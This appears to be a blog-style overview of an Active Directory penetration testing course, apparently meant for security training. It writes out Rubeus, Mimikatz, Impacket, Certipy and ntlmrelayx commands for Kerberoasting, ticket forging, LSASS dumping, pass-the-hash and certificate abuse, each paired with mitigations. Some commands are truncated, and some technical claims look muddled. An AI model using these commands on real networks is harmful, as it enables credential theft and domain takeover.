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Introduction:
Active Directory (AD) remains the central authentication and authorization hub for over 90% of Fortune 500 companies, making it a prime target for attackers. This comprehensive training on AD penetration testing equips security professionals with cutting-edge techniques—from initial exploitation to advanced persistence—using real-world attack vectors like Kerberos ticket abuse, DACL manipulation, and ADCS misconfigurations.
Learning Objectives:
- Execute full-chain AD compromise: initial exploitation, post-enumeration, and lateral movement using tools like BloodHound, Rubeus, and Impacket.
- Perform advanced Kerberos attacks (Golden/Silver/Diamond/Sapphire tickets) and credential dumping without triggering modern EDRs.
- Exploit DACL/ADCS vulnerabilities and implement persistence mechanisms across Windows Server environments.
You Should Know:
1. Initial Active Directory Exploitation & Post-Enumeration
Before launching attacks, you must map the AD environment. Use LDAP queries, BloodHound, and SharpHound to identify high-value targets (Domain Admins, privileged groups, GPOs). Step‑by‑step guide:
– Linux (with ldapsearch):
`ldapsearch -x -H ldap://
Extract user lists and SPNs for Kerberoasting.
- Windows (PowerShell AD module):
`Get-ADUser -Filter -Properties ServicePrincipalName, MemberOf | Export-Csv users.csv` - BloodHound ingestion: Run SharpHound.exe on a domain-joined machine:
`SharpHound.exe -c All –outputdirectory C:\Data`
Import the zip into BloodHound and query for “Shortest Path to Domain Admin”.
– Mitigation: Disable LDAP anonymous binds, enforce least privilege, and deploy Microsoft Defender for Identity.
- Abusing Kerberos: AS-REP Roasting, Kerberoasting, and Golden Tickets
Kerberos misconfigurations are gold mines. Here’s how to exploit them:
– AS-REP Roasting (no pre‑auth required):
`Rubeus.exe asreproast /outfile:hashes.txt` → Crack with hashcat (mode 18200).
– Kerberoasting (crack service account hashes):
`Rubeus.exe kerberoast /outfile:kerbhash.txt` → Crack with hashcat (mode 13100).
– Golden Ticket (if you have krbtgt hash):
Using Mimikatz: `lsadump::lsa /inject /name:krbtgt` then `kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21… /krbtgt:hash /ticket:ticket.kirbi` → Load with kerberos::ptt ticket.kirbi.
– Detection: Monitor Event ID 4769 (unusual TGS requests) and 4768 (AS-REP without pre‑auth). Rotate krbtgt password twice annually.
3. Advanced Credential Dumping Attacks
Dump credentials from LSASS and NTDS.dit without touching disk:
– Mimikatz (Windows):
`privilege::debug` → `sekurlsa::logonpasswords` (dump NTLM hashes and clear-text passwords if WDigest is enabled).
– Procdump + Mimikatz offline:
`procdump.exe -ma lsass.exe lsass.dmp` then on Linux: `pypykatz lsa minidump lsass.dmp`
– Impacket secretsdump (Linux):
`secretsdump.py domain/user:password@DC-IP` (extracts NTDS.dit remotely via DRSUAPI).
- Mitigation: Enable LSA Protection (RunAsPPL), disable WDigest, and limit admin privileges.
4. Privilege Escalation Techniques in AD
Common AD privilege escalation vectors and their fixes:
- Unquoted service paths: Check with `wmic service get name,displayname,pathname,startmode | findstr /i “auto” | findstr /i /v “C:\Windows\\”` → Exploit by placing a malicious binary in the path.
- AlwaysInstallElevated: Check registry keys:
`reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
`reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
If both exist, generate MSI payload with msfvenom and execute.
– GPO abuse: Use `SharpGPOAbuse.exe` to add a user to local admins:
`SharpGPOAbuse.exe –AddLocalAdmin –UserAccount victim –GPOName “Default Domain Policy”`
- Hardening: Enforce signed services, disable AlwaysInstallElevated, and audit GPO changes.
5. Lateral Movement Strategies
Move laterally using pass‑the‑hash, pass‑the‑ticket, and WinRM:
- Pass‑the‑Hash (Impacket):
`psexec.py domain/user@target -hashes lmhash:nthash`
- Pass‑the‑Ticket (Rubeus): Import a stolen .kirbi:
`Rubeus.exe ptt /ticket:service.kirbi` then access `\\target\C$`
- WinRM over PowerShell:
`$cred = Get-Credential` → `Enter-PSSession -ComputerName target -Credential $cred` - Over‑Pass‑the‑Hash: Use Mimikatz: `sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:hash /run:powershell`
- Defense: Enable Credential Guard, restrict lateral movement via Windows Firewall and JEA.
6. DACL Abuse and ADCS Attacks (New)
Misconfigured ACLs and Active Directory Certificate Services are prime for escalation:
– DACL abuse (e.g., GenericWrite on a user):
With PowerView: `Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights WriteProperty` → Then set SPN for Kerberoasting.
– ADCS ESC1 (enrollment with any template):
Use Certipy: `certipy req -u user -p pass -ca CA_NAME -target DC_IP -template User` → Request certificate for another user (requires low privilege).
– ESC8 (web enrollment relay):
Run `ntlmrelayx.py -t http://
– Fix: Implement certificate manager approval, disable vulnerable templates, enable HTTP->HTTPS redirection.
7. Diamond and Sapphire Ticket Attacks (New)
Beyond Golden/Silver tickets: Diamond and Sapphire tickets bypass common detections.
– Diamond Ticket (forge a TGT with valid user session key):
Using Rubeus: `Rubeus.exe diamond /domain:DOMAIN /user:Administrator /password:Pass /enctype:aes256 /tgtdeleg` → The ticket is indistinguishable from a legitimate one.
– Sapphire Ticket (like Diamond but uses AES keys without requiring krbtgt hash):
`Rubeus.exe sapphire /domain:DOMAIN /user:Administrator /aes256:user_aes_key /tgtdeleg`
- Step‑by‑step: After obtaining a user’s AES256 hash (via dumping or Kerberoasting), craft a TGT that will be accepted by KDC without touching krbtgt.
- Detection: Monitor for anomalous TGT requests with unusual PAC structure (Event 4768 with status 0x0 but unusual flags). Use protected users group to enforce Kerberos pre‑auth hardening.
What Undercode Say:
- Key Takeaway 1: Active Directory is no longer just about patching; it requires proactive red teaming that mimics modern attackers—especially Kerberos ticket forging and ADCS abuse.
- Key Takeaway 2: Defenders must move beyond signature-based detection. Implement behavioral analytics (e.g., detecting Rubeus or Certipy patterns) and enforce Tier‑0 administrative bastions.
- Analysis: The training’s focus on “new” attacks like DACL, ADCS, and Diamond/Sapphire tickets reflects the industry shift from traditional pass‑the‑hash to identity‑based token manipulation. Most organizations lack telemetry on certificate issuance and ACL modifications, making these vectors highly effective. Meanwhile, cloud‑hybrid scenarios (Azure AD Connect, Entra ID) are now blending AD attack surfaces—future courses must include on‑prem to cloud pivoting.
Prediction:
Within 24 months, ADCS attacks (especially ESC1/ESC8) will overtake Kerberoasting as the primary entry point to Domain Admin due to widespread misconfigured certificate templates. Simultaneously, the rise of Microsoft’s “Secured‑Core” and automatic krbtgt rotation will render Golden Tickets obsolete, pushing attackers toward Sapphire tickets and cloud‑synchronized identity federation abuse. Organizations will urgently adopt Purple Team exercises that combine AD penetration testing with Entra ID conditional access policies—making this training a critical investment for 2026–2027.
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